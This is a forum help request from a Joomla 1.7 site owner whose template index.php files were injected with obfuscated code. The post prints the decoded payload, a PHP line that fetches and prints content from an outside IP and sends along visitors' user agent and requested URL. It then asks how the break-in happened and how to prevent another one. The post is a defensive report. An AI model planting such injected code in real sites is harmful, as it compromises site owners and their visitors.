I'm running a Joomla 1.7 site which was hacked today. Below script did the hack.
Above line was injected to my
index.php file of the templates folder. Every template which was in the folder had the above code. In each file it was repeated few times.
When I decode the code, it outputs
print @file_get_contents('http://18.104.22.168/hlinks/links.php?ua=' . @urlencode($_SERVER['HTTP_USER_AGENT']) . '&req=' . @urlencode($_SERVER['HTTP_HOST'] . '/' . $_SERVER['REQUEST_URI']));
I removed the script and site happens to work fine. Script didn't do anything bad except site did not load at all.
My problem is even when I have set the file permission to 644 and folder permission to 755, How could this happen?
How can I figure out what caused the problem? What steps should I take to prevent happening this in the future?
This Forum Post Assistant / FPA is very helpful